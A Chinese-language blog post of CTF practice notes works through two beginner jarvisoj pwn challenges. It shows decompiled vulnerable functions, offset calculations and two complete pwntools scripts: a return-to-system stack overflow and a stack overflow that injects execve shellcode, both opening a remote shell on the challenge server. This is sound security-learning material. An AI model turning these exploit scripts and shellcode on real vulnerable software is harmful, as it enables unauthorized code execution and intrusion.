pwn 练习笔记 暑假第五天

今天找了jarvisoj上面的两个简单题做一下

level0(难度如名字)

ida打开看一下,简单栈溢出

ssize_t vulnerable_function()
{
  char buf; // [sp+0h] [bp-80h]@1

  return read(0, &buf, 0x200uLL);
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function();
}

而且system('/bin/sh')也有了

checksec 看了一下,有NX保护,64位

计算一下ebp距离,128

构造payload = 'a'*128 +'bbbbbbbb'+p64(sys_addr)

脚本如下:

from pwn import *
#sh = process('level0')
sh = remote('pwn2.jarvisoj.com',9881)
system_addr=0x0000000000400596

payload = 'a'*136 +p64(system_addr)
sh.send(payload)           
sh.interactive()

leve1

checksec查看:

没有任何问题

ida打开:

buf 与ebp相距0x88(136)

执行这个函数的时候,程序会直接返回buf 的地址。把shellcode写在栈上,然后将返回地址覆盖为buf的地址,就可以执行shellcode啦

然后我们发现,buf的地址每次都在变

所以我们要读取程序给出的buf地址

构造payload = shellcode + 'a'*(140-len(shellcode))+p32(buf)

脚本如下:

from pwn import *
#sh = process('level1')
sh = remote('pwn2.jarvisoj.com',9877)
shellcode="\x31\xc0\x31\xdb\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\x51\x52\x55\x89\xe5\x0f\x34\x31\xc0\x31\xdb\xfe\xc0\x51\x52\x55\x89\xe5\x0f\x34"
sh.recvuntil(':')
address = sh.recvuntil('?',drop=True)
print address
address = int(address,16)
junk='a'*(140-len(shellcode))
payload = shellcode+junk+p32(address)

sh.send(payload)
sh.interactive()

什么都没干。就是好累

猜你喜欢

转载自blog.csdn.net/qq_38783875/article/details/81083815